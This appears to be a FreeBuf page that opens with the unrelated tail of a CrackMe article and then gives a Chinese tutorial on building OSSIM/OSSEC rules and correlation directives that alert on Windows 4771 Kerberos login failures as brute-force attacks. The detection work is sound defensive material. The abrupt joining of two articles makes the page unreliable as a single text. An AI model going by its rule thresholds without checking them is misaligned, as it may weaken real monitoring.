如你所见,在密钥验证中有丰富的创造性方法;他们大多数隐藏在很少用到的Windows特性或者过时的WinAPI函数中。他们可以成功地被作为元素用到各种CrackMe中。愿意分享你下的思路吗?在评论中大致描述下你的有趣的思路或者你在其它CrackMe中见到过的。 压缩包密码:“CrackMeZ3S”。

下载CrackMeZ3S.zip

关于作者 Bartosz Wójcik —作者对西方哲学感兴趣,瑜伽黑色段位,在观看鬼知道是什么的《飞出个未来》和《南方公园》间打发时间,还有他是一个倡导闭源软件和坚定的高蛋白食物活动家。

* 参考来源:PeLock,cnRay编译,转载请注明来自FreeBuf.COM

介绍

OSSIME中的HIDS是通过OSSEC来实现的,OSSEC采用服务端和客户端模式,主要通过文件完整性监视,日志监视,rootcheck和进程监视来主动监视Unix系统活动的所有方面。OSSIM中服务端已经安装完成,只需要在要监控的主机上安装客户端即可:
ossec http://ossec.github.io/
今天就来看下,怎么一步一步配置4771暴力破解攻击的报警.

储备知识


接收所有日志

因为默认情况下,不是所有的日志都会接收,所以我们首先要打开ossec发送过来的所有日志:

图片

如图操作之后,就可以看到ossec agent所有接收到的日志: 修改完记得要重启hids服务: Environment > Detection > HIDS > HIDS Control.–>Restart. 现在就可以看到所有ossec agent所接受到的日志:
#tail -10f /var/ossec/logs/archives/archives.log

匹配规则和报警

默认Ossec有900多条规则,基本上可以涵盖操作系统的各种异常事件,规则路径/var/ossec/alienvault/rules

图片

如果接收到的日志能被规则所匹配就会产生一条报警:
# tail -10f  /var/ossec/logs/alerts/alerts.log

插件ID和 SID

ossim中插件甚多,可分为采集插件和监视插件,每个插件又有ID和SID,插件位置:/etc/ossim/agent/plugins
alienvault:/etc/ossim/agent/plugins# ll
-rw-r--r-- 1 root alienvault   5033 Jun 27  2016 actiontec.cfg
-rw-r--r-- 1 root alienvault  20029 Nov 29 00:34 aerohive-wap.cfg
-rw-r--r-- 1 root alienvault   5736 Jun 16  2015 airlock.cfg
-rw-r--r-- 1 root alienvault   1720 Nov 15 00:37 airport-extreme.cfg
-rw-r--r-- 1 root alienvault  12580 Sep 20 16:59 aix-audit.cfg
-rw-r--r-- 1 root alienvault    744 Jun 16  2015 aladdin.cfg
-rw-r--r-- 1 root alienvault   6869 Jul 25  2016 alcatel.cfg
-rw-r--r-- 1 root alienvault  12886 Jan 10 23:30 alienvault_plugins.list
-rw-r--r-- 1 root alienvault   8812 Jun 16  2015 allot.cfg
-rw-r--r-- 1 root alienvault   1064 Jun 16  2015 alteonos.cfg
......
比如rule id为18105 对应的插件是:ossec-single-line.cfg
[1388 - Windows Audit Failure: Attempt to reset password]
event_type=event
#precheck="18105"
regexp="^AV\s+\-\sAlert\s+\-\s\"(?P<date>\d+)\"\s\-\->\sRID\:\s\"(?P<rule_id>18105)\"\;\s+RL\:\s+\"(?P<rule_level>\d+)\"\;\s+RG\:\s+\"(?P<rule_group>[^"]*)\"\;\s+RC\:\s+\"(?P<rule_comment>[^"]*)\";\sUSER:\s+\"[^"]+\";\sSRCIP:\s\"(?P<srcip>[^"]*)\"\;\sHOSTNAME:\s+\"\((?P<hostname>[^)]+)\)\s(?P<winip>\S+)->[^"]*\";\sLOCATION\:\s\"(?P<location>[^"]*)\"\;\s+EVENT\:\s+\"\[INIT\](?P<log>.*?An\sattempt\swas\smade\sto\sreset\san\saccount's\spassword.*?Account\sName:\s+(?P<username>.*?)\s+Account\sDomain[^[]*)\[END\]\"\;"
date={normalize_date($date)}
plugin_id={translate($rule_id)}  注意这里有个翻译关系
plugin_sid=102000
device={resolv($winip)}
src_ip={resolv($winip)}
dst_ip={resolv($winip)}
username={$username}
继续在文件中找找翻译关系:
18105=7006
所以这里的plugin_id=700618105 是事件类型id
如图我们看看plugin_id=7085的插件有哪些事件类型id:

图片


关联分析指令

免费的ossim默认只提供了80多个相关的分析指令. 指令地址:/etc/ossim/server 我们自己新建的指令在:
# pwd
/etc/ossim/server/abb1c771-e2ce-11e6-9443-1b37c2298626
# ls
directives.xml  disabled_directives.data  user.xml
我们详细看一条指令,例如7085:
<directive id="500001" name="AV-FREE-FEED Bruteforce attack, Windows authentication attack against DST_IP" priority="4">
   <rule type="detector" name="Windows authentication failure attempts" from="ANY" to="ANY" port_from="ANY" port_to="ANY" reliability="1" occurrence="1" plugin_id="7085" plugin_sid="18106,18130,18135,18136">
      <rules>
         <rule type="detector" name="Windows Authentication failure" from="1:SRC_IP" to="1:DST_IP" port_from="ANY" port_to="ANY" reliability="10" occurrence="3" time_out="15" plugin_id="7085" plugin_sid="18106,18130,18135,18136">
            <rules>
               <rule type="detector" name="Windows Authentication failure" from="1:SRC_IP" to="1:DST_IP" port_from="ANY" port_to="ANY" reliability="10" occurrence="10" time_out="30" plugin_id="7085" plugin_sid="18106,18130,18135,18136">
                  <rules>
                     <rule type="detector" name="Windows Authentication failure" from="1:SRC_IP" to="1:DST_IP" port_from="ANY" port_to="ANY" reliability="10" occurrence="50" time_out="300" plugin_id="7085" plugin_sid="18106,18130,18135,18136">
                        <rules>
                           <rule type="detector" name="Windows Authentication failure" from="1:SRC_IP" to="1:DST_IP" port_from="ANY" port_to="ANY" reliability="10" occurrence="200" time_out="1000" plugin_id="7085" plugin_sid="18106,18130,18135,18136">
                              <rules>
                                 <rule type="detector" name="Windows Authentication failure" from="1:SRC_IP" to="1:DST_IP" port_from="ANY" port_to="ANY" reliability="10" occurrence="2000" time_out="3600" plugin_id="7085" plugin_sid="18106,18130,18135,18136"/>
                              </rules>
                           </rule>
                        </rules>
                     </rule>
                  </rules>
               </rule>
            </rules>
         </rule>
      </rules>
   </rule>
</directive>

图片

图片

4771报警详解

有了刚刚上面的知识储备,就可以开始今天的正题了,首先我们看一下win 4771 事件代表什么?
4771事件:代表在域内的账号在除域控制器意外的任何一台加入域的计算机上登陆产生的登陆失败的日志(有点绕,多读几遍)

图片

接收并查找相关日志

为了找到ossec发送过来的原始4771日志,我们首先需要打开接收所有日志,然后从日志中筛选出有关4771告警的日志: 打开接收所有日志上面的储备知识中已经介绍,这里不再赘述,请按照步骤操作. 到域控制器上部署ossec ,具体步骤请参考 OSSIM-HIDS 在域内的客户机登陆域内的任意账号,查找有关4771的告警日志:
alienvault:/# tail -10f /var/ossec/logs/archives/archives.log |grep "4771"
2017 Mar 02 10:01:32 (Host-192-168-69-109) 192.168.69.109->WinEvtLog 2017 Mar 02 10:01:27 WinEvtLog: Security: AUDIT_FAILURE(4771): Microsoft-Windows-Security-A
uditing: (no user): no domain: WIN-P84RKPA31HU.zymtest08.com: Kerberos pre-authentication failed. Account Information:  Security ID:  S-1-5-21-2947644658-998118976
-1121298578-1117  Account Name:  cc  Service Information:  Service Name:  krbtgt/ZYMTEST08  Network Information:  Client Address:  ::ffff:192.168.69.147  Client Port:
1172  Additional Information:  Ticket Options:  0x40810010  Failure Code:  0x18  Pre-Authentication Type: 2  Certificate Information:  Certificate Issuer Name:    
Certificate Serial Number:    Certificate Thumbprint:    Certificate information is only provided if a certificate was used for pre-authentication.  Pre-authentication 
types, ticket options and failure codes are defined in RFC 4120.  If the ticket was malformed or damaged during transit and could not be decrypted, then many fields 
in this event might not be present.
如代码所示,我们已经成功的接收到了有关4771的告警日志

查找匹配的规则和报警

上文提到,ossec提供了900多条规则,大多数的事件是可以被匹配到的,我们现在查找下是否有默认策略匹配到4771事件:
alienvault:/# tail -10f  /var/ossec/logs/alerts/alerts.log |grep "4771"
AV - Alert - "1488420926" --> RID: "18105"; RL: "4"; RG: "windows,"; RC: "Windows audit failure event."; USER: "(no user)"; SRCIP: "None"; HOSTNAME:
 "(Host-192-168-69-109) 192.168.69.109->WinEvtLog"; LOCATION: "(Host-192-168-69-109) 192.168.69.109->WinEvtLog"; EVENT: "[INIT]2017 Mar 02 10:15:19 
 WinEvtLog: Security: AUDIT_FAILURE(4771): Microsoft-Windows-Security-Auditing: (no user): no domain: WIN-P84RKPA31HU.zymtest08.com: Kerberos 
 pre-authentication failed. Account Information:  Security ID:  S-1-5-21-2947644658-998118976-1121298578-1117  Account Name:  cc  Service Information:
 Service Name:  krbtgt/ZYMTEST08  Network Information:  Client Address:  ::ffff:192.168.69.147  Client Port:  1185  Additional Information:  
 Ticket Options:  0x40810010  Failure Code:  0x18  Pre-Authentication Type: 2  Certificate Information:  Certificate Issuer Name:    Certificate 
 Serial Number:    Certificate Thumbprint:    Certificate information is only provided if a certificate was used for pre-authentication.  Pre-authentication 
 types, ticket options and failure codes are defined in RFC 4120.  If the ticket was malformed or damaged during transit and could not be decrypted, then many 
 fields in this event might not be present.[END]";
在规则文件目录查找Windows audit failure event. 通过查看告警日志,我们成功的发现了4771已经被规则匹配出来,其实这里被匹配出的4771事件不是使用关键字4771在ossec规则中匹配到的,我们详细看下配置这个4771的规则是/var/ossec/alienvault/rules/msauth_rules.xml文件:
<group name="windows,">
  <rule id="18100" level="0">
    <category>windows</category>
    <description>Group of windows rules.</description>
  </rule>

 中间忽略......

  <rule id="18105" level="4">
    <if_sid>18100</if_sid>
    <status>^AUDIT_FAILURE|^failure</status>
    <description>Windows audit failure event.</description>
  </rule>
通过查看规则详情,我们发现真正的匹配是<status>^AUDIT_FAILURE|^failure</status> 我们返回的接收的原始日志查看,发现这么一段:
 WinEvtLog: Security: AUDIT_FAILURE(4771):
正是由于这个关键字,我们成功的匹配到了4771事件,由于不是直接匹配4771事件,所以会存在一定的误报,毕竟登陆失败的代码还有很多,这里我采用修改其他规则文件来匹配4771事件. 我把18120事件修改成:
  <rule id="18120" level="4">
    <if_sid>18105</if_sid>
    <id>^4771$</id>
    <description>4771-Windows login fail.</description>
  </rule>
这样就能精确的匹配出4771事件,查看接收到的日志文件:
alienvault:~#  tail -10f  /var/ossec/logs/alerts/alerts.log |grep "18120"
AV - Alert - "1488867475" --> RID: "18120"; RL: "4"; RG: "windows,"; RC: "4771-Windows login fail."; USER: "(no user)"; SRCIP: "None"; HOSTNAME:
 "(Host-192-168-0-201) 192.168.0.201->WinEvtLog"; LOCATION: "(Host-192-168-0-201) 192.168.0.201->WinEvtLog"; EVENT: "[INIT]2017 Mar 07 14:17:55
 WinEvtLog: Security: AUDIT_FAILURE(4771): Microsoft-Windows-Security-Auditing: (no user): no domain: GLODON-DC01.grandsoft.com.cn: Kerberos
 pre-authentication failed. Account Information:  Security ID:  S-1-5-21-436374069-1957994488-1801674531-53787  Account Name:  AUTOTEST128004$ 
 Service Information:  Service Name:  krbtgt/grandsoft.com.cn  Network Information:  Client Address:  ::ffff:192.168.128.4  Client Port:  58977 
 Additional Information:  Ticket Options:  0x40810010  Failure Code:  0x18  Pre-Authentication Type: 2  Certificate Information:  Certificate 
 Issuer Name:    Certificate Serial Number:    Certificate Thumbprint:    Certificate information is only provided if a certificate was used for 
 pre-authentication.  Pre-authentication types, ticket options and failure codes are defined in RFC 4120.  If the ticket was malformed or damaged 
 during transit and could not be decrypted, then many fields in this event might not be present.[END]";

查找相关插件ID

我们已经把ossec有关报警的sid改成18120了,继续根据18120来查找相关的插件ID是哪个,从而编写出关联分析规则: 进入到插件目录,我们搜索18120,发现是存在这个插件中ossec-single-line.cfg,我们找到具体的规则:
18120=7006
所以这里的plugin_id=7006 18120 是事件类型id 至此,我们编写关联分析指令的所有信息都具备了,下面开始编写关联分析指令:

编写关联分析指令

具体的知识,请回顾2.4 关联分析指令,我们新建指令: 这里填写上NAME,INTENT,STRATEGY,METHOD即可,如图:

图片

这里着重介绍下 PRIORITY的含义:PRIORITY:优先级,取值为0-5 ,表示如果这个攻击成功了,对系统所造成的影响程度,数值越高,危害就越大,本例来说没必要用4 ,这里要根据实际情况进行选择,这里我用4是为了突出实验效果..

点击SAVE之后,填写规则的名称,这里写个你能看懂的就行:

图片


接下来就是用到我们上文提到的插件ID了,前文得之我们需要用7006,这里直接搜索即可,然后选中:

图片


然后选择事件类型ID,就是上文提到的 18120,查找填入即可.

图片


接下来就是选择源了,因为这是策略的顶层,所以是接收任何ip,也就是any,直接下一步即可:

图片


这里还要学习几个概念:Risk:取值范围(1-10),这里表示事件的风险值,值越高越要引起重视.计算方法下图已经给出了:Risk = (priority * reliability * asset_value) / 25.

图片

至此我们已经完成一个指令的最上层了,继续重复上面的步骤建立下层:

图片

图片

图片

图片

图片

最后,制造一些登录错误信息,查看报警:

33.png

ossim新手,如有错误,还请指正,欢迎交流:46820390 *本文作者:R00to1,转载请注明来自Freebuf.COM